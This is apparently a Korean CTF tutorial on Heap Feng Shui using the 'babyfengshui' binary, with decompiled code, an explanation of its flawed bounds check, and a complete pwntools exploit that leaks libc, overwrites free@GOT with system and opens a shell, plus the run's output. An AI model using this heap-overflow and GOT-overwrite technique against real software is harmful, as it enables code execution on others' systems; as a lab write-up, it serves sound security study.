Excuse the ads! We need some help to keep our site up.
Heap Feng Shui란 Heap영역 할당된 chunk의 레이아웃을 조작하여 Exploit을 용이하게 하는 기술입니다.
OOL Port Feng Shui | |
---|---|
Heap Feng Shui in JavaScript |
lazenca0x0@ubuntu:~/Exploit/HeapFensui$ file ./babyfengshui ./babyfengshui: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cecdaee24200fe5bbd3d34b30404961ca49067c6, stripped lazenca0x0@ubuntu:~/Exploit/HeapFensui$ checksec --file ./babyfengshui [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [*] '/home/lazenca0x0/Exploit/HeapFensui/babyfengshui' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) lazenca0x0@ubuntu:~/Exploit/HeapFensui$ |
void __cdecl __noreturn main() { char v0; // [esp+3h] [ebp-15h] int menuID; // [esp+4h] [ebp-14h] size_t userInput; // [esp+8h] [ebp-10h] unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); alarm(0x14u); while ( 1 ) { puts("0: Add a user"); puts("1: Delete a user"); puts("2: Display a user"); puts("3: Update a user description"); puts("4: Exit"); printf("Action: "); if ( __isoc99_scanf("%d", &menuID) == -1 ) break; if ( !menuID ) { printf("size of description: "); __isoc99_scanf("%u%c", &userInput, &v0); AddAUser(userInput); } if ( menuID == 1 ) { printf("index: "); __isoc99_scanf("%d", &userInput); DeleteAUser(userInput); } if ( menuID == 2 ) { printf("index: "); __isoc99_scanf("%d", &userInput); DisplayAUser(userInput); } if ( menuID == 3 ) { printf("index: "); __isoc99_scanf("%d", &userInput); UpdateAUserDescription(userInput); } if ( menuID == 4 ) { puts("Bye"); exit(0); } if ( (unsigned __int8)cnt > 49u ) { puts("maximum capacity exceeded, bye"); exit(0); } } exit(1); } |
struct USER{ char *desc; char name[124]; }; |
해당 함수는 다음과 같은 기능을 합니다.
해당 함수가 호출되기 전에 main() 함수에서 description의 크기 값을 입력 받아 인자 값(a1)으로 전달됩니다.
malloc() 함수를 이용하여 전달된 인자 값의 크기 만큼 Heap을 할당받아 해당 주소를 desc에 저장합니다.
malloc() 함수를 이용하여 USER 구조체의 공간(128)을 할당받아 해당 주소를 userInfo에 저장합니다.
할당 받은 구조체 영역 중 "userInfo→desc" 영역에 desc에 저장된 값을 저장합니다.
userInfo 변수의 값은 gUserList[] 전역 변수에 저장합니다.
setName() 함수를 이용하여 →name 영역에 값을 저장합니다.
UpdateAUserDescription() 함수를 이용하여 →desc 영역에 값을 저장합니다.
USER *__cdecl AddAUser(size_t a1) { char *desc; // ST24_4 USER *userInfo; // ST28_4 desc = (char *)malloc(a1); memset(desc, 0, a1); userInfo = (USER *)malloc(128u); memset(userInfo, 0, 128u); userInfo->desc = desc; gUserList[gCnt] = userInfo; printf("name: "); setText(gUserList[gCnt]->name, 124); UpdateAUserDescription(++gCnt - 1); return userInfo; } |
unsigned int __cdecl DeleteAUser(unsigned __int8 number) { unsigned int v2; // [esp+1Ch] [ebp-Ch] v2 = __readgsdword(0x14u); if ( number < gCnt && gUserList[number] ) { free(gUserList[number]->desc); free(gUserList[number]); gUserList[number] = 0; } return __readgsdword(0x14u) ^ v2; } |
unsigned int __cdecl DisplayAUser(unsigned __int8 number) { unsigned int v2; // [esp+1Ch] [ebp-Ch] v2 = __readgsdword(0x14u); if ( number < gCnt && gUserList[number] ) { printf("name: %s\n", gUserList[number]->name); printf("description: %s\n", gUserList[number]->desc); } return __readgsdword(0x14u) ^ v2; } |
해당 함수는 다음과 같은 기능을 합니다.
if()을 이용하여 main() 함수에서 입력 받은 사용자 입력 값(cnt)이 gCnt의 값보다 작고, gUserList[number] 영역에 값이 0인지 확인합니다.
scanf() 함수를 이용하여 "desc"영역에 입력할 문자열의 길이를 입력받습니다.
if()을 이용하여 아래와 같은 조건을 만족하는지 확인합니다.
&gUserList[cnt]->desc[textLength] >= &gUserList[cnt] - 4
즉, desc 영역에 입력할 값이 userInfo 영역을 침범하는지 확인합니다.
여기서 취약성이 발생합니다.
unsigned int __cdecl UpdateAUserDescription(unsigned __int8 cnt) { char CR; // [esp+17h] [ebp-11h] int textLength; // [esp+18h] [ebp-10h] unsigned int v4; // [esp+1Ch] [ebp-Ch] v4 = __readgsdword(0x14u); if ( cnt < gCnt && gUserList[cnt] ) { textLength = 0; printf("text length: "); __isoc99_scanf("%u%c", &textLength, &CR); if ( &gUserList[cnt]->desc[textLength] >= &gUserList[cnt] - 4 ) { puts("my l33t defenses cannot be fooled, cya!"); exit(1); } printf("text: "); setText(gUserList[cnt]->desc, textLength + 1); } return __readgsdword(0x14u) ^ v4; } |
|
|
from pwn import * #context.log_level = 'debug' def addUser(desc, name, text): p.recvuntil('Action: ') p.sendline('0') p.recvuntil('size of description: ') p.sendline(str(desc)) p.recvuntil('name: ') p.sendline(name) p.recvuntil('text length: ') p.sendline(str(len(text))) p.recvuntil('text: ') p.sendline(text) def delUser(idx): p.recvuntil('Action: ') p.sendline('1') p.recvuntil('index: ') p.sendline(str(idx)) def displayUser(idx): p.recvuntil('Action: ') p.sendline('2') p.recvuntil('index:') p.sendline(str(idx)) p.recvuntil('description: ') addr = p.recvline() return addr[:4] def updateDesc(idx,size,text): p.recvuntil('Action: ') p.sendline('3') p.recvuntil('index: ') p.sendline(str(idx)) p.recvuntil('text length: ') p.sendline(str(size)) p.recvuntil('text: ') p.sendline(text) p = process('./babyfengshui') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') #Heap Feng Shui addUser(10,'A'*10,'B'*10) addUser(10,'A'*10,'B'*10) addUser(len('/bin/sh'),'/bin/sh','/bin/sh') #free() delUser(0) #Heap Overflow addUser(120, 'HeapOverflow', 'A'*152+p32(0x804b010)) #Leak libc address libcAddr = displayUser(1) free = u32(libcAddr) libcBase = free - libc.sym['free'] system = libcBase + libc.sym['system'] log.info('Libc base : '+hex(libcBase)) log.info('free() : '+hex(free)) log.info('system() : '+hex(system)) #Overwrite free.got updateDesc(1,4,p32(system)) #system('/bin/sh') delUser(2) #Get shell p.interactive() |
lazenca0x0@ubuntu:~/Exploit/HeapFensui$ python exploit.py [+] Starting local process './babyfengshui': pid 8750 [*] '/lib/i386-linux-gnu/libc-2.23.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Libc base : 0xf7d48000 [*] free() : 0xf7db8750 [*] system() : 0xf7d82940 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |